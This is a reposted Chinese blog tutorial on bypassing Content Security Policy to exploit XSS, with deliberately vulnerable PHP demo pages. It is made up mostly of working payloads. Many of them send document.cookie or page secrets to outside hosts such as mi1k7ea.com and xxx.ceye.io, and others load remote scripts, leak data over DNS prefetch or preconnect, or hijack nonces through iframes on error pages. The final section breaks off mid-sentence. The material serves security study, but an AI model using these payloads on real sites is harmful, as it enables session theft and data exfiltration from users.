首页 > 其他 > 详细

XSS之CSP绕过(转)

时间:2020-03-31 23:49:40      阅读:74      评论:0      收藏:0      [点我收藏+]

前言

使用浏览器搜索了一堆这种文章,发现了一个写的太好太好的文章了,反复看了好久,自己还是写不出超越这个文章的深度,就转载来方便以后看。
原文链接

https://www.mi1k7ea.com/2019/02/24/CSP策略及绕过技巧小结

绕过default-src ‘none’

策略为:Content-Security-Policy: default-src ‘none’;
这种情况下,可以使用meta标签实现跳转:

<meta http-equiv="refresh" content="1;url=https://www.mi1k7ea.com/x.php?c=[cookie]" >

Demo如下:

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src ‘none‘; ");
?>
<!DOCTYPE html>
<html>
<head>
	<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
	<input type="text" name="content">
	<button type="submit">Go</button>
</form>
<?php
	if (isset($_POST[‘content‘])) {
		echo "Your POST content: <p>".@$_POST[‘content‘]."</p>";
	}
?>
</body>
</html>

当我们输入如下内容可以成功跳转至目标页面,当然也可以将cookie带出来:

<meta http-equiv="refresh" content="1;url=http://192.168.43.201:8000/x.php?c=mi1k7ea" >

技术分享图片

形同虚设的script-src ‘unsafe-inline’

策略中有一条为:script-src ‘unsafe-inline’; ,这条策略相当于直接让CSP几乎沦陷了大半。
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>window.location="https://www.mi1k7ea.com/x.php?c=[cookie]";</script>
<script>window.open(‘//www.mi1k7ea.com/?‘+escape(document.cookie))</script>
<script>window.location.href=‘https://www.mi1k7ea.com/?cookie=‘+document.cookie</script>

Demo代码还是之前的,把CSP修改一下,添加script-src ‘unsafe-inline’;即可。
输入如下标签直接跳转并成功返回cookie:

<script>window.location.href=‘http://192.168.43.201:8000/?cookie=‘+document.cookie</script>

技术分享图片

内嵌script都可以执行,当然可以直接执行本页面的JS,如输入即可,这里的利用和XSS利用一致,没有啥绕过技巧,不再累赘。

绕过xx-src *

*号即允许匹配任何URL请求。但一般情况很少会遇到default-src?;或大部分xx-src?;这样的CSP策略,举一个简单的例子

Content-Security-Policy: default-src ‘none‘; connect-src ‘self‘; frame-src *; script-src http://xxxxx/js/ ‘nonce-xxx‘;font-src http://xxxx/fonts/ fonts.gstatic.com; style-src ‘self‘ ‘unsafe-inline‘; img-src ‘self‘

很明显地可以找到,frame-src *,其对于iframe的来源并没有做任何限制,当然实际环境可能需要iframe标签来内联来包含别的页面。
可以利用CSRF漏洞。这里直接输入

<iframe src="https://www.mi1k7ea.com"></iframe>

来测试:

查看页面元素,可以看到iframe内嵌包含进来的是,其可以正常执行而无视掉script-src http://xxxxx/js/ ‘nonce-xxx‘;的CSP策略。

利用link绕过xx-src self

CSP策略中xx-src self的设置能够使大部分的XSS和CSRF都会失效,但link标签的预加载功能可以进行绕过。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):

<link rel="prefetch" href="https://www.mi1k7ea.com/c.php?c=[cookie]">

在Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie:

<link rel="dns-prefetch" href="//[cookie].mi1k7ea.com">

在后面的iframe中会有结合利用的示例。

利用浏览器补全绕过script nonce

有时候CSP策略可能会设置成如下:

Content-Security-Policy: default-src ‘none‘;script-src ‘nonce-xxx‘

这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码。

如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:

<p>插入点</p><script id="aa" nonce="abc">document.write(‘CSP‘);</script>

可以插入如下内容来利用浏览器补全功能:

<script src="http://192.168.248.1/a.js" a="

最终形成如下页面结构:

<p><script src="http://192.168.248.1/a.js" a="</p><script id="aa" nonce="xxx">document.write(‘CSP‘);</script>

也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

还有一个注意点,上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。
Demo

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src ‘none‘; script-src ‘nonce-$nonce‘; ");
?>
<!DOCTYPE html>
<html>
<head>
	<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
	<input type="text" name="content">
	<button type="submit">Go</button>
</form>
<?php
	if (isset($_POST[‘content‘])) {
		echo "Your POST content: <p>".@$_POST[‘content‘]."</p>";
	}
?>
<script type="text/javascript" nonce=<?php echo $nonce;?>>document.write("Mi1k7ea")</script>
</body>
</html>

当我们输入<script src="http://192.168.43.201/a.js" a="时即会弹框:
技术分享图片

查看元素,看到输入的script标签的a属性的双引号将后面含有nonce的script标签第一个含有双引号的属性都给闭合了,成功劫持了nonce属性进而加载外部JS弹框:
技术分享图片

值得注意的就是,要想成功利用在nonce属性前需要存在一个用引号括起来的属性,不然会失效。

利用Gadgets和strict-dynamic/unsafe-eval绕过

即重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017的ppt,上面总结了可以被用来绕过CSP的一些JS库。

例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP

<div data-role=popup id=‘<script>alert(1)</script>‘></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie:

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

利用iframe绕过

(1)如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

<iframe src="B"></iframe>

下面简单地搞个示例。

1.php代码,有CSP限制,但可以通过iframe加载同源的页面:

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src ‘none‘; script-src ‘nonce-$nonce‘; frame-src ‘self‘; ");
?>
<!DOCTYPE html>
<html>
<head>
	<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="1.php" method="post">
	<input type="text" name="content">
	<button type="submit">Go</button>
</form>
<?php
	if (isset($_POST[‘content‘])) {
		echo "Your POST content: <p>".@$_POST[‘content‘]."</p>";
	}
?>
</body>
</html>

2.php简单写为。

在访问1.php时,直接输入script标签是无法执行弹框的,但可以通过iframe引入同源的2.php来执行该页面的JS代码,输入
技术分享图片

(2)在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库:

<iframe csp="script-src ‘unsafe-inline‘" src="http://xxx"></iframe>

(3)绕过sandbox:
情景1——未开启X-Frame-Options:DENY
Demo代码如下:

<?php 
	header("Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
	setcookie(‘milk‘,‘tea‘);
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
	<script><?php echo $_GET[‘xss‘];?></script>
</body>

当CSP设置为allow-popups开启时,window.open等就可以打开新的窗口,这时直接就能利用了,直接输入如下内容就能顺利地带出cookie信息(在URL栏输入前记得先进行URL编码):

?xss=window.open(‘//xxx.ceye.io/?‘+escape(document.cookie))或?xss=window.location.href=‘http://xxx.ceye.io/?cookie=‘+document.cookie

技术分享图片

这里加载同源的js文件是没有问题的,其中a.js的代码为alert(1),构造如下::

xss=f=document.createElement("script");f.src="http://127.0.0.1/a.js";document.body.appendChild(f);

技术分享图片

但是有个问题,要是远程加载JS文件是不满足CSP规则的。这里我们换个源就知道了:

xss=f=document.createElement("script");f.src="http://127.0.0.1:8000/a.js";document.body.appendChild(f);

技术分享图片

显示拒绝加载了,因为CSP中有一条default-src ‘self’的规则限制了。
这里可以通过iframe引入外部js,将src设置为同域的,从而绕过CSP的default-src ‘self’规则。

f=document.createElement("iframe");
f.id="pwn";
f.src="./test.txt";
f.onload=()=>{
    x=document.createElement(‘script‘);
    x.src=‘//127.0.0.1:8000/a.js‘;                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

没有问题,成功引入外部js弹框:
技术分享图片

当然也能把浏览器的数据带出来,引用外部新的c.js:

window.open(‘//xxx.ceye.io/?‘+escape(document.cookie))

输入:

xss=f=document.createElement(%22iframe%22);f.id=%22pwn%22;f.src=%22./test.txt%22;f.onload=()=%3E{x=document.createElement(%27script%27);x.src=%27//192.168.17.148:81/c.js%27;pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

技术分享图片

这里没有出现网上博客说的带不回的问题。
下面也可以尝试使用DNS通道来传递cookie。

dc = document.cookie;
dcl = dc.split(";");
m = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
m.innerHTML = m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + ‘.‘ + location.hostname.split(".").join("") +  ".xxx.ceye.io\">";
console.log(m.innerHTML);
}

在URL栏输入的时候记得进行URL编码,然后就可以看到打到cookie了:
技术分享图片

除此之外,我们还可以获取页面中父窗口标签的内容,在php代码中加上id为secret的标签内容,注意标签必须放在获取URL参数的script标签之上,否则会报错找不到:

<?php 
	header("Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups; ");
	setcookie(‘milk‘,‘tea‘);
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
	<code id=‘secret‘>P4ssw0rd</code>
	<script><?php echo $_GET[‘xss‘];?></script>
</body>

改下第一行的内容获取id为secret的父窗口标签即可:

dc = top.document.getElementById("secret").innerHTML;
dcl = dc.split(";");
m = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
m.innerHTML = m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + ‘.‘ + location.hostname.split(".").join("") +  ".xxx.ceye.io\">";
console.log(m.innerHTML);
}

直接打到父窗口标签内容:
技术分享图片

情景2——开启X-Frame-Options:DENY
如果header中添加了X-Frame-Options:DENY,则不能如此直接地利用前面的exp。

这里换个示例:http://hsts.pro/csp.php

访问,默认弹框显示welcome,可以看到站点是开了X-Frame-Options:DENY的:
技术分享图片

查看页面源码,可以看到和之前的是差不多的,在xss参数中获取URL输入然后嵌入script标签中,其中还含有id为secret的标签:

<html>
<head><link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"><link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp"></head>
<body>
<div class="center-block">
<h1>Hello!</h1>
<script>alert("Welcome")</script>
<code id=‘secret‘>Secret: iGWmT7P2YlYNytnE</code></div>
</body>
</html>

这里可使用CSP的第二个常见错误,即在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。因为许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部。

为了强制NGINX返回“400 bad request”,你唯一需要做的,就是使用/../访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理,导致/../被/所替换,对于中间的两个点号和最后一个斜线,我们可以使用unicode码来表示。

frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

直接在控制台插入即可,当然也可以通过xss参数输入:
技术分享图片

上payload获取父窗口标签内容:

frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement(‘script‘);
    x.src=‘data:,alert("Pwned "+top.secret.textContent)‘;
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

技术分享图片

当然,也可以访问不存在的页面,造成404错误,注意会弹两次框:

frame=document.createElement("iframe");
frame.src="/noexist.txt";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement(‘script‘);
    x.src=‘data:,alert("Pwned "+top.secret.textContent)‘;
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

技术分享图片

第二种让Web服务器返回错误的方法是让URL超过所允许的长度。

例如NGINX和Apache等Web服务器的默认URL长度通常被设置为不超过8kB。

frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement(‘script‘);
    x.src=‘data:,alert("Pwned "+top.secret.textContent)‘;
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

技术分享图片

第三种欺骗服务器返回错误的方法是触发cookie长度限制。
这是因为当前浏览器支持的cookie越来越长,已经超出了Web服务器所能处理的范围。

1、创建一个巨型的 cookie

for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
2、使用任何地址打开iframe,都会导致服务器返回错误(通常没有XFO或CSP)

3、删除巨型cookie:

for(var i=0;i<5;i++){document.cookie=i+”=”}

4、将自己的js脚本写入frame中,用以窃取其父frame中的秘密信息。
payload:


for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
f=document.createElement("iframe");
f.id="pwn";
f.src="/";
f.onload=()=>{
	for(var i=0;i<5;i++){document.cookie=i+"="};
	x=document.createElement(‘script‘);
	x.src=‘data:,alert("Pwned "+top.secret.textContent)‘;
	pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

技术分享图片

利用meta绕过CSP nonce

meta标签有一些不常用的功能有时候有奇效:

meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce:

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用:

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21

利用浏览器缓存绕过script nonce

整个原理过程以Demo为例,看图吧:
技术分享图片

csp-test.php,开启了nonce script规则,并且有XSS点:

<?php
function random_string( $length = 8 ) { 
  $chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘; 
  $password = ‘‘; 
  for($i = 0; $i < $length; $i++)
  { 
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
  } 
  return $password; 
} 
$random = random_string(12);
header(‘Content-Security-Policy: default-src \‘none\‘; script-src \‘nonce-‘.$random .‘\‘;‘);
header(‘Cache-Control: max-age=99999999‘);
setcookie(‘milk‘,‘tea‘);
?>
<script nonce=‘<?php echo $random;?>‘>document.write(‘URL ‘ + unescape(location.href))</script>
<script nonce=‘<?php echo $random;?>‘>console.log(‘another nonced script‘)</script>

然后我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个

分享档案
最新文章
教程昨日排行
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!